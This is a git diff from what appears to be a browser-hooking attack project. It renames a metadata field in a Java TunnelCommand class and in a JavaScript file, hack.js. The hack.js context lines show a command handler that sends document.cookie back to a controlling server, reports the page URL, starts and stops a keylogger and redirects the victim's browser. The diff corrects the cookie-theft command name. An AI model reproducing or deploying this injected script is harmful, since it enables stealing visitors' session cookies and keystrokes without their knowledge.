diff --git a/src/main/java/nl/byron/hacking/model/TunnelCommand.java b/src/main/java/nl/byron/hacking/model/TunnelCommand.java index d5e452a..f10fbba 100644 --- a/src/main/java/nl/byron/hacking/model/TunnelCommand.java +++ b/src/main/java/nl/byron/hacking/model/TunnelCommand.java @@ -7,12 +7,12 @@ public class TunnelCommand { private String id; private String type; - private String metadata; + private String metaData; public TunnelCommand(String id, String type, String metadata) { this.id = id; this.type = type; - this.metadata = metadata; + this.metaData = metadata; } public String getId() { @@ -31,12 +31,12 @@ public void setType(String type) { this.type = type; } - public String getMetadata() { - return metadata; + public String getMetaData() { + return metaData; } - public void setMetadata(String metadata) { - this.metadata = metadata; + public void setMetaData(String metaData) { + this.metaData = metaData; } @Override @@ -44,7 +44,7 @@ public String toString() { return "TunnelCommand{" + "id='" + id + '\'' + ", type='" + type + '\'' + - ", metadata='" + metadata + '\'' + + ", metaData='" + metaData + '\'' + '}'; } } diff --git a/src/main/resources/META-INF/static/js/hack.js b/src/main/resources/META-INF/static/js/hack.js index c85edae..eb898b8 100644 --- a/src/main/resources/META-INF/static/js/hack.js +++ b/src/main/resources/META-INF/static/js/hack.js @@ -55,9 +55,9 @@ var handleData = function (data) { console.dir(data); if (data.type == 'msg') { - alert(data.metadata); + alert(data.metaData); } else if (data.type == 'getCookies') { - sendCommandToServer("receiveUrl", document.cookie); + sendCommandToServer("receiveCookies", document.cookie); } else if (data.type == 'getUrl') { sendCommandToServer("receiveUrl", window.location.href); } else if (data.type == 'getSite') { @@ -67,7 +67,7 @@ } else if (data.type == 'stopLogger') { stopKeyLogger(); } else if (data.type == 'goToUrl') { - window.location.href = data.metadata; + window.location.href = data.metaData; } };